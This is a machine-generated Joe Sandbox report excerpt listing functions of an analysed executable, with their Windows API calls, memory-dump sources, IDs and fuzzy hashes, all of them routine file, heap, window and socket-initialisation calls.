Function 004AA8BF Relevance: 3.0, APIs: 2, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

FindCloseChangeNotification.KERNEL32(00000001,?,?,004AA616,?,?,0042092F,?,00001011,00000000), ref: 004AA8CE
GetLastError.KERNEL32(00000000,004AA616,?,?,0042092F,?,00001011,00000000), ref: 004AA8F3

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: ChangeCloseErrorFindLastNotification
String ID:
API String ID: 1687624791-0
Opcode ID: ff7069a7f73da2b9f823683e0c749e12942107e545399ca87918447c9bd2566a
Instruction ID: b3b96b2a8dada51f55751b5de6d7eb4b42a0cf03e59508343e09af4b7a9751fc
Opcode Fuzzy Hash: ff7069a7f73da2b9f823683e0c749e12942107e545399ca87918447c9bd2566a
Instruction Fuzzy Hash: E3E092361007015BD724A67ACC09B5A72A9AFD2731F518B2EE67AC31E09F789C0A8654

Function 004ABE4B Relevance: 3.0, APIs: 2, Instructions: 25threadCOMMON

Download Yara Rule

APIs

Part of subcall function 004B3A7F: TlsGetValue.KERNEL32(00CF993C,00000000,?,004AA565,004B2DFB,?,004208C0), ref: 004B3ABE

GetCurrentThreadId.KERNEL32 ref: 004ABE6D
SetWindowsHookExA.USER32(00000005,004ABC55,00000000,00000000), ref: 004ABE7D

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: CurrentHookThreadValueWindows
String ID:
API String ID: 933525246-0
Opcode ID: 7244e69f5dd94bea6ea966fa8e237272286f0565eac93431d9a459a2f19f017b
Instruction ID: dea808b501e19b7cf4bf88621124e72e769b855b394756d0ebe077aa23c270d5
Opcode Fuzzy Hash: 7244e69f5dd94bea6ea966fa8e237272286f0565eac93431d9a459a2f19f017b
Instruction Fuzzy Hash: 52E02B30600B009FC7305F669C04B9777E4DBA9721F10862FE34681141D7749C05CBBE

Function 004AA7C1 Relevance: 3.0, APIs: 2, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,00000000,00000000,00000000,?,004234EC,00000000,?,?,?,00000020,00000000), ref: 004AA7DD
GetLastError.KERNEL32(00000000,?,004234EC,00000000,?,?,?,00000020,00000000), ref: 004AA7E8

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: ErrorFileLastRead
String ID:
API String ID: 1948546556-0
Opcode ID: c2812155f15f5778fcb3805ab87927114e299c70b0915d51e61eef2fcc46c02a
Instruction ID: 3389a1aef8755c311285309722c4234870bea6804d1f4f10d475c0b0935a01c8
Opcode Fuzzy Hash: c2812155f15f5778fcb3805ab87927114e299c70b0915d51e61eef2fcc46c02a
Instruction Fuzzy Hash: CEE04F39500208FBCF00AFA1CC04B9F377CAB25314F00C825BA1889160D739DA60DB59

Function 004AA846 Relevance: 3.0, APIs: 2, Instructions: 16COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,?,00000000,?), ref: 004AA854
GetLastError.KERNEL32(00000000), ref: 004AA863

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: a5ba8c4902bcbe5177f8f74744c421da9e95a3b4212df8ff272341ba52a588f3
Instruction ID: 7fcaedac5411177d03ec305ff29f1a005d11e1bb3acf2c82ba4890f5a758ee28
Opcode Fuzzy Hash: a5ba8c4902bcbe5177f8f74744c421da9e95a3b4212df8ff272341ba52a588f3
Instruction Fuzzy Hash: F9D05E325042207BDB107BB59C09B4EBA21AB66371F048E29FB64961E0C3358C15A795

Function 0049A795 Relevance: 1.6, APIs: 1, Instructions: 80memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 0049A87C

Part of subcall function 004A0834: RtlInitializeCriticalSection.NTDLL(00000000), ref: 004A0871
Part of subcall function 004A0834: RtlEnterCriticalSection.NTDLL(?), ref: 004A088C

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: CriticalSection$AllocateEnterHeapInitialize
String ID:
API String ID: 1616793339-0
Opcode ID: 5cfdfb650f94346f0519e53ca82dbd441c6cc8d779a24496e63574fa678bf8b7
Instruction ID: 590fe51291e13024c2dd4796b6d1ca41d7bbd9171b866cfd574b744f8678d29c
Opcode Fuzzy Hash: 5cfdfb650f94346f0519e53ca82dbd441c6cc8d779a24496e63574fa678bf8b7
Instruction Fuzzy Hash: 2921BA31900204EBDF10FB69DC46B9E7BA4EB00764F14453BF410E72D0D77CA952C69A

Function 0049A66E Relevance: 1.6, APIs: 1, Instructions: 75memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,?,00000000,?,00000000), ref: 0049A742

Part of subcall function 004A0834: RtlInitializeCriticalSection.NTDLL(00000000), ref: 004A0871
Part of subcall function 004A0834: RtlEnterCriticalSection.NTDLL(?), ref: 004A088C

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterFreeHeapInitialize
String ID:
API String ID: 641406236-0
Opcode ID: 186773c6a6449518ea135d399c5f638a26cd55994edb357bbc33acb199aee8cd
Instruction ID: 10023bcb0e7708adb83ec642efcacdc223d3e91f5c8d7e9a4476d12147195eb8
Opcode Fuzzy Hash: 186773c6a6449518ea135d399c5f638a26cd55994edb357bbc33acb199aee8cd
Instruction Fuzzy Hash: DF21A772801208ABDF10ABD5DC46BDEBFB8EB11764F14027BF410A52D0DB7D9950CAEA

Function 004AB7B2 Relevance: 1.6, APIs: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004AB7B7

Part of subcall function 004B3A7F: TlsGetValue.KERNEL32(00CF993C,00000000,?,004AA565,004B2DFB,?,004208C0), ref: 004B3ABE

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: H_prologValue
String ID:
API String ID: 3700342317-0
Opcode ID: e2b41f1af2796bc226a9bf8c437496750f7b8f0a7c795f99e30e4bb81f2910c1
Instruction ID: a560606e7b93db0bd1499e9a09107ae35d33d82b09dfa921761a33a5ff35de31
Opcode Fuzzy Hash: e2b41f1af2796bc226a9bf8c437496750f7b8f0a7c795f99e30e4bb81f2910c1
Instruction Fuzzy Hash: AF219D72900209EFCF05EF54C481AEE7BB9FF19318F00406AF919AB241D778AE44CBA5

Function 004ABED9 Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(00000000,00000080,00455ED1,?,?,?,?,?,?,?,?,?), ref: 004ABF77

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: a53e67ca6e0589e57b29bb3df5d30471908d139b1945e5203336f2de8847b7da
Instruction ID: be19a1296dd753deff2484c29d94f25c34a6375b4ceb3a66211749f49c0f5860
Opcode Fuzzy Hash: a53e67ca6e0589e57b29bb3df5d30471908d139b1945e5203336f2de8847b7da
Instruction Fuzzy Hash: 5531AB79A00219AFCF01DFA8C8449DEBBF1BF5C304B04846AF908E7210E7399A519FA4

Function 00438460 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00DC0000,00000000,00000008), ref: 00438471

Part of subcall function 0042FCD0: wsprintfA.USER32 ref: 0042FCE2

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: AllocateHeapwsprintf
String ID:
API String ID: 1352872168-0
Opcode ID: dc77f9b0b96c25d5e0b35678772730fe6b75815d7d4a7ec78f020ba802b96588
Instruction ID: ed99a2e0dab6475fe1921d109c93f92db42bf66bc16f99329decb8b07439bd29
Opcode Fuzzy Hash: dc77f9b0b96c25d5e0b35678772730fe6b75815d7d4a7ec78f020ba802b96588
Instruction Fuzzy Hash: 22E086B590020CFFDB00DF94EC45B9E77B8E748310F0082A9FD0847300E6359E409794

Function 00438560 Relevance: 1.5, APIs: 1, Instructions: 18memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00DC0000,00000000,00000000,00000000,?,00421C8A,?), ref: 00438588

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: f005136407bb2fc0b8aacf6fb4eacf9f17f0ea3601d9aa862f9570b90552bc89
Instruction ID: c88b68815485e0a635077a7d43210c48b7f3f3423c8d67857fe47361c77c8947
Opcode Fuzzy Hash: f005136407bb2fc0b8aacf6fb4eacf9f17f0ea3601d9aa862f9570b90552bc89
Instruction Fuzzy Hash: 0BD01775240208BBDF149B94DC45BAB77ACAB88744F44951ABB0A8A2A0EAB4ED408795

Function 004AF864 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

LoadStringA.USER32(?,?,?,?), ref: 004AF87B

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: 22100534efaa768623f8e15ebfa75ca417aed5e28980fdadc0dc17e034aa8eab
Instruction ID: 1b352779054e8ef47428d4e35f46bc8d80e20c957839845e54e8d51a0d8ae59a
Opcode Fuzzy Hash: 22100534efaa768623f8e15ebfa75ca417aed5e28980fdadc0dc17e034aa8eab
Instruction Fuzzy Hash: 0ED0A7760083629BCB01DFA18808C8FBFA4BF55390B044C0EF48043211C328D809C765

Function 0047C940 Relevance: 1.5, APIs: 1, Instructions: 7networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000001), ref: 0047C94D

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Startup
String ID:
API String ID: 724789610-0
Opcode ID: 3db21ebde56cefd8faadae6b7aa3944fdb008a999e8b2b2dddeb6aac9ca03756
Instruction ID: 239ac4ed3a52081ef4b0ce45ad2077ee4a35d923917e5538226847d2d0dab6bc
Opcode Fuzzy Hash: 3db21ebde56cefd8faadae6b7aa3944fdb008a999e8b2b2dddeb6aac9ca03756
Instruction Fuzzy Hash: A2B012F68241002FFB91B240D813BF5355C6748300FC400797918400C5F1AE411C06F7

Non-executed Functions

Function 0042E340 Relevance: 55.2, APIs: 29, Strings: 2, Instructions: 979windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 0042E3B2
IsIconic.USER32(?), ref: 0042E3EA
SetActiveWindow.USER32(?,?,?), ref: 0042E413
IsWindow.USER32(?), ref: 0042E43D
IsWindow.USER32(?), ref: 0042E70E
DestroyAcceleratorTable.USER32(?), ref: 0042E85E
DestroyMenu.USER32(?), ref: 0042E869
DestroyAcceleratorTable.USER32(?), ref: 0042E883
DestroyMenu.USER32(?), ref: 0042E892
DestroyAcceleratorTable.USER32(?), ref: 0042E8F2
DestroyMenu.USER32(?,000003EA,00000000,00000000,?,?,00000000,?,000007D9,00000000,00000000), ref: 0042E901
SetParent.USER32(?,?), ref: 0042E983
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013,?,?), ref: 0042EA9B
IsWindow.USER32(?), ref: 0042EBCC
SendMessageA.USER32(?,0000806F,00000000,00000000), ref: 0042EBE1
SendMessageA.USER32(?,00008004,00000000,00000000), ref: 0042EBFE
DestroyAcceleratorTable.USER32(?), ref: 0042EC4C
IsWindow.USER32(?), ref: 0042ECC1
IsWindow.USER32(?), ref: 0042ED11
IsWindow.USER32(?), ref: 0042ED61
IsWindow.USER32(?), ref: 0042ED9E
IsWindow.USER32(?), ref: 0042EE21
GetParent.USER32(?), ref: 0042EE2F
GetFocus.USER32 ref: 0042EE70

Part of subcall function 0042E230: IsWindow.USER32(?), ref: 0042E2AB
Part of subcall function 0042E230: GetFocus.USER32 ref: 0042E2B5
Part of subcall function 0042E230: IsChild.USER32(?,00000000), ref: 0042E2C7

IsWindow.USER32(?), ref: 0042EECF
SendMessageA.USER32(?,00008076,00000000,00000000), ref: 0042EEE4
IsWindow.USER32(00000000), ref: 0042EEF7
GetFocus.USER32 ref: 0042EF01
SetFocus.USER32(00000000), ref: 0042EF0C

Strings

dC, xrefs: 0042E4CA
d, xrefs: 0042E353

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Window$Destroy$AcceleratorFocusTable$MenuMessageSend$Parent$ActiveChildIconic
String ID: dC$d
API String ID: 3681805233-2051854131
Opcode ID: 01ea6e4b3e27f1b8744f886dcae1ec9e620a28a6276af464f913c0e249ac865f
Instruction ID: cdbc8b7a51c1ddd85453e10185d4eaa6592844549cd29855ef219e1a6f6a528e
Opcode Fuzzy Hash: 01ea6e4b3e27f1b8744f886dcae1ec9e620a28a6276af464f913c0e249ac865f
